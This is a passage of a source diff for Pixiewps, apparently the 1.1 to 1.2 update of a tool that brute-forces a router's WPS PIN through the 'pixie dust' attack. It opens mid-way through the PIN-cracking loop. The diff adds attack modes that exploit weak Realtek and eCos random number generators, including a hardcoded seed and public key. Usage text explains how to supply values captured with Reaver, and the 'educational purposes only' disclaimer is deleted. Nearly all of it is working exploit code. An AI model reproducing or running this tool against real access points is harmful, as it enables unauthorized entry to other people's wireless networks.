WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); + + if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) { + first_half++; + } else { + break; + } + } + + if (first_half < 10000) { /* First half found */ + uint_fast8_t checksum_digit; + unsigned int c_second_half; + + /* Testing with checksum digit */ + while (second_half < 1000) { + checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); + c_second_half = second_half * 10 + checksum_digit; + uint_to_char_array(c_second_half, 4, s_pin); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk2); + memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); + + if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { + second_half++; + } else { + second_half = c_second_half; + found = 1; + break; + } + } + + /* Testing without checksum digit */ + if (!found) { + second_half = 0; + + while (second_half < 10000) { + + /* If already tested skip */ + if (wps_pin_valid(first_half * 10000 + second_half)) { + second_half++; + continue; + } + + uint_to_char_array(second_half, 4, s_pin); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk2); + memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); + + if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { + second_half++; + } else { + found = 1; + break; + } + } + } + } + + free(buffer); + free(result); + + *pin = first_half * 10000 + second_half; + return !found; /* 0 success, 1 failure */ } diff --git a/src/pixiewps.h b/src/pixiewps.h index d5bed53..2a76fd8 100644 --- a/src/pixiewps.h +++ b/src/pixiewps.h @@ -2,13 +2,8 @@ * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * - * Special thanks to: datahead, soxrok2212 - * * Copyright (c) 2015, wiire - * Version: 1.1 - * - * DISCLAIMER: This tool was made for educational purposes only. - * The author is NOT responsible for any misuse or abuse. + * SPDX-License-Identifier: GPL-3.0 * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -22,73 +17,95 @@ * * You should have received a copy of the GNU General Public License * along with this program. If not, see . - * - * In addition, as a special exception, the copyright holders give - * permission to link the code of portions of this program with the - * OpenSSL library under certain conditions as described in each - * individual source file, and distribute linked combinations - * including the two. - * You must obey the GNU General Public License in all respects - * for all of the code used other than OpenSSL. If you modify - * file(s) with this exception, you may extend this exception to your - * version of the file(s), but you are not obligated to do so. If you - * do not wish to do so, delete this exception statement from your - * version. If you delete this exception statement from all source - * files in the program, then also delete it here. */ - #ifndef PIXIEWPS_H #define PIXIEWPS_H -#define VERSION "1.1" -#define MAX_MODE 4 -#define MODE4_DAYS 3 -#define SEC_PER_HOUR 3600 +/* Modes constants */ +#define NONE 0 +#define RT 1 +#define ECOS_SIMPLE 2 +#define RTL819x 3 +#define ECOS_SIMPLEST 4 /* Not tested */ +#define ECOS_KNUTH 5 /* Not tested */ + +/* Modes constants */ +#define MODE_LEN 5 +#define MODE3_DAYS 3 +#define MODE3_TRIES 3 #define SEC_PER_DAY 86400 -/* WPS constants */ -#define WPS_PUBKEY_LEN 192 -#define WPS_HASH_LEN 32 -#define WPS_AUTHKEY_LEN 32 -#define WPS_EMSK_LEN 32 -#define WPS_KEYWRAPKEY_LEN 16 -#define WPS_NONCE_LEN 16 -#define WPS_SECRET_NONCE_LEN 16 -#define WPS_PSK_LEN 16 -#define WPS_BSSID_LEN 6 -#define WPS_KDF_SALT_LEN 36 - /* Exit costants */ -#define PIN_ERROR 2 -#define MEM_ERROR 3 -#define ARG_ERROR 4 +#define PIN_FOUND 0 +#define PIN_ERROR 1 +#define MEM_ERROR 2 +#define ARG_ERROR 3 -#include -#include +#include +#include +#include -typedef enum {false = 0, true = 1} bool; +#include "utils.h" + +#if defined(DEBUG) +# define DEBUG_PRINT(fmt, args...); fprintf(stderr, "\n [DEBUG] %s:%d:%s(): " fmt, \ + __FILE__, __LINE__, __func__, ##args); fflush(stdout); +# define DEBUG_PRINT_ARRAY(b, l); byte_array_print(b, l); fflush(stdout); +#else +# define DEBUG_PRINT(fmt, args...) +# define DEBUG_PRINT_ARRAY(b, l) +#endif + +uint_fast8_t p_mode[MODE_LEN] = { 0 }; +const char *p_mode_name[MODE_LEN + 1] = { "", "RT", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth" }; + +const uint8_t wps_rtl_pke[] = { + 0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D, + 0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91, + 0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F, + 0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90, + 0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81, + 0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18, + 0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8, + 0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07, + 0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9, + 0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE, + 0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9, + 0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B +}; + +const uint8_t rtl_rnd_seed[] = { + 0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d, + 0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f, + 0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30, + 0x35,0x2d,0x31,0x35 +}; struct global { - unsigned char *pke; - unsigned char *pkr; - unsigned char *e_hash1; - unsigned char *e_hash2; - unsigned char *authkey; - unsigned char *e_nonce; - unsigned char *r_nonce; - unsigned char *psk1; - unsigned char *psk2; - unsigned char *dhkey; - unsigned char *kdk; - unsigned char *wrapkey; - unsigned char *emsk; - unsigned char *e_s1; - unsigned char *e_s2; - unsigned char *e_bssid; - bool small_dh_keys; - bool bruteforce; + uint8_t *pke; + uint8_t *pkr; + uint8_t *e_hash1; + uint8_t *e_hash2; + uint8_t *authkey; + uint8_t *e_nonce; + uint8_t *r_nonce; + uint8_t *psk1; + uint8_t *psk2; + uint8_t *dhkey; + uint8_t *kdk; + uint8_t *wrapkey; + uint8_t *emsk; + uint8_t *e_s1; + uint8_t *e_s2; + uint8_t *e_bssid; + time_t start; + time_t end; + uint8_t small_dh_keys; + uint8_t mode_auto; + uint8_t bruteforce; int verbosity; char *error; + char *warning; }; char usage[] = @@ -100,86 +117,127 @@ char usage[] = "\n" " Required Arguments:\n" "\n" - " -e, --pke : Enrollee public key\n" - " -r, --pkr : Registrar public key\n" - " -s, --e-hash1 : Enrollee Hash1\n" - " -z, --e-hash2 : Enrollee Hash2\n" - " -a, --authkey : Authentication session key\n" + " -e, --pke : Enrollee public key\n" + " -r, --pkr : Registrar public key\n" + " -s, --e-hash1 : Enrollee hash-1\n" + " -z, --e-hash2 : Enrollee hash-2\n" + " -a, --authkey : Authentication session key\n" + " -n, --e-nonce : Enrollee nonce\n" "\n" " Optional Arguments:\n" "\n" - " -n, --e-nonce : Enrollee nonce\n" - " -m, --r-nonce : Registrar nonce\n" - " -b, --e-bssid : Enrollee BSSID\n" - " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" - " -f, --force : Bruteforce the whole keyspace [No]\n" - " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" + " -m, --r-nonce : Registrar nonce\n" + " -b, --e-bssid : Enrollee BSSID\n" + " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" + " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" "\n" - " -h, --help : Display this usage screen\n" + " -h : Display this usage screen\n" + " --help : Verbose help and more usage examples\n" + " -V, --version : Displays version\n" "\n" - " Examples:\n" + " --mode N[,... N] : Mode selection, comma separated [Auto]\n" + " --start [mm/]yyyy : Starting date (only mode 3) [Current time]\n" + " --end [mm/]yyyy : Ending date (only mode 3) [-3 days]\n" + "\n" + " Example:\n" "\n" " pixiewps -e -r -s -z -a -n \n" - " pixiewps -e -s -z -a -n -S\n" - " pixiewps -e -s -z -n -m -b -S\n" "%s"; -/* SHA-256 */ -void sha256(const unsigned char *data, const size_t data_len, unsigned char *digest) { - SHA256_CTX ctx; - SHA256_Init(&ctx); - SHA256_Update(&ctx, data, data_len); - SHA256_Final(digest, &ctx); -} +char v_usage[] = + "\n" + " Pixiewps %s WPS pixie dust attack tool\n" + " Copyright (c) 2015, wiire \n" + "\n" + " Description of arguments:\n" + "\n" + " -e, --pke\n" + "\n" + " Enrollee DH public key, found in M1.\n" + "\n" + " -r, --pkr\n" + "\n" + " Registrar DH public key, found in M2. It can be avoided by specifying " + "--dh-small in both Reaver and Pixiewps.\n" + "\n" + " [?] pixiewps -e -s -z -a -n -S\n" + "\n" + " -s, --e-hash1\n" + "\n" + " Enrollee hash-1, found in M3.\n" + "\n" + " -z, --e-hash2\n" + "\n" + " Enrollee hash-2, found in M3.\n" + "\n" + " -a, --authkey\n" + "\n" + " Authentication session key. Although for this parameter a modified version of " + "Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman " + "keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n" + "\n" + " [?] pixiewps -e -s -z -S -n -m -b \n" + "\n" + " -n, --e-nonce\n" + "\n" + " Enrollee's nonce, found in M1.\n" + "\n" + " -m, --r-nonce\n" + "\n" + " Registrar's nonce, found in M2.\n" + "\n" + " -b, --e-bssid\n" + "\n" + " Enrollee's BSSID.\n" + "\n" + " -S, --dh-small\n" + "\n" + " Small Diffie-Hellman keys. The same option MUST be specified in Reaver " + "(1.3 or later versions) too. It DOES NOT WORK with mode 3.\n" + "\n" + " --mode N[,... N]\n" + "\n" + " Select modes, comma separated (experimental modes are not used if not specified):\n" + "\n" + " 1 (%s)\n" + " 2 (%s)\n" + " 3 (%s)\n" + " 4 (%s) [Experimental]\n" + " 5 (%s) [Experimental]\n" + "\n" + " --start [mm/]yyyy\n" + " --end [mm/]yyyy\n" + "\n" + " Starting and ending dates for mode 3. They are interchangeable. " + "If only one is specified, the machine current time will be used for the other.\n" + "\n"; -/* HMAC-SHA-256 */ -void hmac_sha256(const void *key, int key_len, const unsigned char *data, const size_t data_len, unsigned char *digest) { - unsigned int h_len = WPS_HASH_LEN; - HMAC_CTX ctx; - HMAC_CTX_init(&ctx); - HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), 0); - HMAC_Update(&ctx, data, data_len); - HMAC_Final(&ctx, digest, &h_len); - HMAC_CTX_cleanup(&ctx); -} - -/* Key Derivation Function */ -void kdf(const void *key, const size_t key_len, unsigned char *res) { - uint32_t kdk_len = key_len * 8; - uint_fast8_t j = 0; - - /* Wi-Fi Easy and Secure Key Derivation */ - char *salt = "\x57\x69\x2d\x46\x69\x20\x45\x61\x73\x79\x20\x61\x6e\x64\x20\x53\x65\x63\x75\x72\x65\x20\x4b\x65\x79\x20\x44\x65\x72\x69\x76\x61\x74\x69\x6f\x6e"; - - unsigned char *buffer = malloc(WPS_KDF_SALT_LEN + 4 * 2); - - for (uint32_t i = 1; i < 4; i++) { - uint32_t be = h32_to_be(i); - memcpy(buffer, &be, 4); - memcpy(buffer + 4, salt, WPS_KDF_SALT_LEN); - be = h32_to_be(kdk_len); - memcpy(buffer + 4 + 36, &be, 4); - hmac_sha256(key, WPS_HASH_LEN, buffer, WPS_KDF_SALT_LEN + 4 * 2, res + j); - j += WPS_HASH_LEN; +/* One digit comma separated number parsing */ +inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint_fast8_t max_digit) { + uint_fast8_t cnt = 0; + while (*list != 0) { + if (*list <= (max_digit + '0')) { + dst[cnt] = *list - '0'; + cnt++; + list++; + } + if (*list != 0) { + if (*list == ',') + list++; + else + return 1; + } } - free(buffer); + return 0; } -/* Pin checksum computing */ -inline unsigned int wps_pin_checksum(unsigned int pin) { - unsigned int acc = 0; - while (pin) { - acc += 3 * (pin % 10); - pin /= 10; - acc += pin % 10; - pin /= 10; +/* Checks if passed mode is selected */ +inline uint_fast8_t is_mode_selected(const uint_fast8_t mode) { + for (uint_fast8_t i = 0; p_mode[i] != NONE && i < MODE_LEN; i++) { + if (p_mode[i] == mode) + return 1; } - return (10 - acc % 10) % 10; -} - -/* Validity PIN control based on checksum */ -inline unsigned int wps_pin_valid(unsigned int pin) { - return wps_pin_checksum(pin / 10) == (pin % 10); + return 0; } #endif /* PIXIEWPS_H */ diff --git a/src/random_r.c b/src/random_r.c index bffce85..4b5b70a 100644 --- a/src/random_r.c +++ b/src/random_r.c @@ -30,11 +30,8 @@ #if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) # include -# if defined(__APPLE__) && defined(__MACH__) -# include "../include/features.h" -# elif(BSD) -/* BSD (DragonFly BSD, FreeBSD, OpenBSD, NetBSD) - Nothing to include */ +# if defined(BSD) || defined(__APPLE__) && defined(__MACH__) + /* Nothing to include */ # else # include # endif diff --git a/src/random_r.h b/src/random_r.h index 0431ddd..fe60f91 100644 --- a/src/random_r.h +++ b/src/random_r.h @@ -2,13 +2,8 @@ * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * - * Special thanks to: datahead, soxrok2212 - * * Copyright (c) 2015, wiire - * Version: 1.1 - * - * DISCLAIMER: This tool was made for educational purposes only. - * The author is NOT responsible for any misuse or abuse. + * SPDX-License-Identifier: GPL-3.0 * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -22,21 +17,7 @@ * * You should have received a copy of the GNU General Public License * along with this program. If not, see . - * - * In addition, as a special exception, the copyright holders give - * permission to link the code of portions of this program with the - * OpenSSL library under certain conditions as described in each - * individual source file, and distribute linked combinations - * including the two. - * You must obey the GNU General Public License in all respects - * for all of the code used other than OpenSSL. If you modify - * file(s) with this exception, you may extend this exception to your - * version of the file(s), but you are not obligated to do so. If you - * do not wish to do so, delete this exception statement from your - * version. If you delete this exception statement from all source - * files in the program, then also delete it here. */ - #ifndef RANDOM_R_H #define RANDOM_R_H diff --git a/src/utils.h b/src/utils.h index 9204067..0bff934 100644 --- a/src/utils.h +++ b/src/utils.h @@ -2,13 +2,8 @@ * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * - * Special thanks to: datahead, soxrok2212 - * * Copyright (c) 2015, wiire - * Version: 1.1 - * - * DISCLAIMER: This tool was made for educational purposes only. - * The author is NOT responsible for any misuse or abuse. + * SPDX-License-Identifier: GPL-3.0 * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -22,26 +17,17 @@ * * You should have received a copy of the GNU General Public License * along with this program. If not, see . - * - * In addition, as a special exception, the copyright holders give - * permission to link the code of portions of this program with the - * OpenSSL library under certain conditions as described in each - * individual source file, and distribute linked combinations - * including the two. - * You must obey the GNU General Public License in all respects - * for all of the code used other than OpenSSL. If you modify - * file(s) with this exception, you may extend this exception to your - * version of the file(s), but you are not obligated to do so. If you - * do not wish to do so, delete this exception statement from your - * version. If you delete this exception statement from all source - * files in the program, then also delete it here. */ - #ifndef UTILS_H #define UTILS_H +#include +#include +#include +#include + /* Converts an hex string to a byte array */ -unsigned int hex_string_to_byte_array(char *in, unsigned char *out, const unsigned int n_len) { +unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len) { uint_fast8_t o; unsigned int len = strlen(in); unsigned int b_len = n_len * 2 + n_len - 1; @@ -88,8 +74,59 @@ int get_int(char *in, int *out) { return 0; }; +/* Converts a [mm/]yyyy string to Unix date time */ +unsigned int get_unix_datetime(char *s, time_t *datetime) { + unsigned int len = strlen(s); + int month = 0, year; + struct tm tm; + + if (len == 4) { + if (get_int(s, &year)) + return 1; + } else if (len == 7) { + if (s[2] != '/' && s[2] != '-' && s[2] != '.') + return 1; + + char s_month[3]; + char s_year[5]; + if (s[0] == '0') { + s_month[0] = s[1]; + s_month[1] = 0; + } else { + s_month[0] = s[0]; + s_month[1] = s[1]; + s_month[2] = 0; + } + + s_year[0] = s[3]; + s_year[1] = s[4]; + s_year[2] = s[5]; + s_year[3] = s[6]; + s_year[4] = 0; + + if (get_int(s_month, &month) || get_int(s_year, &year)) + return 1; + } else { + return 1; + } + + tm.tm_sec = 0; + tm.tm_min = 0; + tm.tm_hour = 0; + tm.tm_mday = 1; + tm.tm_mon = month - 1; + tm.tm_year = year - 1900; + tm.tm_isdst = -1; + *datetime = mktime(&tm); + + if (*datetime < 0) + return 1; + + return 0; +} + /* Converts an unsigned integer to a char array without termination */ -void uint_to_char_array(unsigned int num, unsigned int len, unsigned char *dst) { +inline void uint_to_char_array(unsigned int num, unsigned int len, uint8_t *dst) { unsigned int mul = 1; while (len--) { dst[len] = (num % (mul * 10) / mul) + '0'; @@ -98,16 +135,17 @@ void uint_to_char_array(unsigned int num, unsigned int len, unsigned char *dst) } /* Prints a byte array in hexadecimal */ -void byte_array_print(const unsigned char *buffer, const unsigned int length) { +void byte_array_print(const uint8_t *buffer, const unsigned int length) { unsigned int i; for (i = 0; i < length; i++) { printf("%02x", buffer[i]); - if (i != length - 1) printf(":"); + if (i != length - 1) + printf(":"); } } /* Converts a 32 Little Endian bit number to its Big Endian representation */ -uint32_t h32_to_be(uint32_t num) { +uint32_t h32_to_be(const uint32_t num) { uint32_t tmp = num; uint32_t res; uint32_t b0, b1, b2, b3; diff --git a/src/version.h b/src/version.h new file mode 100644 index 0000000..731d2ac --- /dev/null +++ b/src/version.h @@ -0,0 +1,27 @@ +/* + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Copyright (c) 2015, wiire + * SPDX-License-Identifier: GPL-3.0 + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +#ifndef VERSION_H +#define VERSION_H + +#define SHORT_VERSION "1.2" +#define LONG_VERSION "1.2.0" + +#endif /* VERSION_H */ diff --git a/src/wps.h b/src/wps.h new file mode 100644 index 0000000..cf967ac --- /dev/null +++ b/src/wps.h @@ -0,0 +1,113 @@ +/* + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Copyright (c) 2015, wiire + * SPDX-License-Identifier: GPL-3.0 + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +#ifndef WPS_H +#define WPS_H + +/* WPS constants */ +#define WPS_PKEY_LEN 192 +#define WPS_HASH_LEN 32 +#define WPS_AUTHKEY_LEN 32 +#define WPS_EMSK_LEN 32 +#define WPS_KEYWRAPKEY_LEN 16 +#define WPS_NONCE_LEN 16 +#define WPS_SECRET_NONCE_LEN 16 +#define WPS_PSK_LEN 16 +#define WPS_BSSID_LEN 6 + +#include +#include + +#include "pixiewps.h" +#include "config.h" +#include "utils.h" + +/* Diffie-Hellman group */ +static const uint8_t dh_group5_generator[1] = { 0x02 }; +static const uint8_t dh_group5_prime[192] = { + 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF, 0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34, + 0xC4,0xC6,0x62,0x8B, 0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08, 0x8A,0x67,0xCC,0x74, + 0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22, 0x51,0x4A,0x08,0x79, 0x8E,0x34,0x04,0xDD, + 0xEF,0x95,0x19,0xB3, 0xCD,0x3A,0x43,0x1B, 0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37, + 0x4F,0xE1,0x35,0x6D, 0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76, 0x62,0x5E,0x7E,0xC6, + 0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B, 0x0B,0xFF,0x5C,0xB6, 0xF4,0x06,0xB7,0xED, + 0xEE,0x38,0x6B,0xFB, 0x5A,0x89,0x9F,0xA5, 0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6, + 0x49,0x28,0x66,0x51, 0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8, 0xA1,0x63,0xBF,0x05, + 0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A, 0x69,0x16,0x3F,0xA8, 0xFD,0x24,0xCF,0x5F, + 0x83,0x65,0x5D,0x23, 0xDC,0xA3,0xAD,0x96, 0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB, + 0x9E,0xD5,0x29,0x07, 0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E, 0x4A,0xBC,0x98,0x04, + 0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27, 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF +}; + +/* Wi-Fi Easy and Secure Key Derivation */ +static const uint8_t kdf_salt[] = { + 0x57,0x69,0x2D,0x46, 0x69,0x20,0x45,0x61, 0x73,0x79,0x20,0x61, 0x6E,0x64,0x20,0x53, + 0x65,0x63,0x75,0x72, 0x65,0x20,0x4B,0x65, 0x79,0x20,0x44,0x65, 0x72,0x69,0x76,0x61, + 0x74,0x69,0x6F,0x6E +}; + +/* Key Derivation Function */ +void kdf(const void *key, uint8_t *res) { + const uint32_t kdk_len = (WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN) * 8; + uint_fast8_t j = 0; + + uint8_t *buffer = malloc(sizeof(kdf_salt) + sizeof(uint32_t) * 2); + + for (uint32_t i = 1; i < 4; i++) { + uint32_t be = h32_to_be(i); + memcpy(buffer, &be, sizeof(uint32_t)); + memcpy(buffer + sizeof(uint32_t), kdf_salt, sizeof(kdf_salt)); + be = h32_to_be(kdk_len); + memcpy(buffer + sizeof(uint32_t) + sizeof(kdf_salt), &be, sizeof(uint32_t)); + hmac_sha256(key, WPS_HASH_LEN, buffer, sizeof(kdf_salt) + sizeof(uint32_t) * 2, res + j); + j += WPS_HASH_LEN; + } + free(buffer); +} + +/* Pin checksum computing */ +inline uint_fast8_t wps_pin_checksum(uint_fast32_t pin) { + unsigned int acc = 0; + while (pin) { + acc += 3 * (pin % 10); + pin /= 10; + acc += pin % 10; + pin /= 10; + } + return (10 - acc % 10) % 10; +} + +/* Validity PIN control based on checksum */ +inline uint_fast8_t wps_pin_valid(uint_fast32_t pin) { + return wps_pin_checksum(pin / 10) == (pin % 10); +} + +/* Checks if PKe == 2 */ +inline uint_fast8_t check_small_dh_keys(const uint8_t *data) { + uint_fast8_t i = WPS_PKEY_LEN - 2; + while (--i) { + if (data[i] != 0) + break; + } + i = (i == 0 && data[WPS_PKEY_LEN - 1] == 0x02) ? 1 : 0; + return i; +} + +#endif /* WPS_H */ diff --git a/version.mk b/version.mk index 6005291..58d143a 100644 --- a/version.mk +++ b/version.mk @@ -1,4 +1,4 @@ PKG_NAME:=pixiewps -PKG_VERSION:=1.1 -PKG_RELEASE:=2 -PKG_LICENSE:=GPL-3.0+ +PKG_VERSION:=1.2 +PKG_RELEASE:=1 +PKG_LICENSE:=GPL-3.0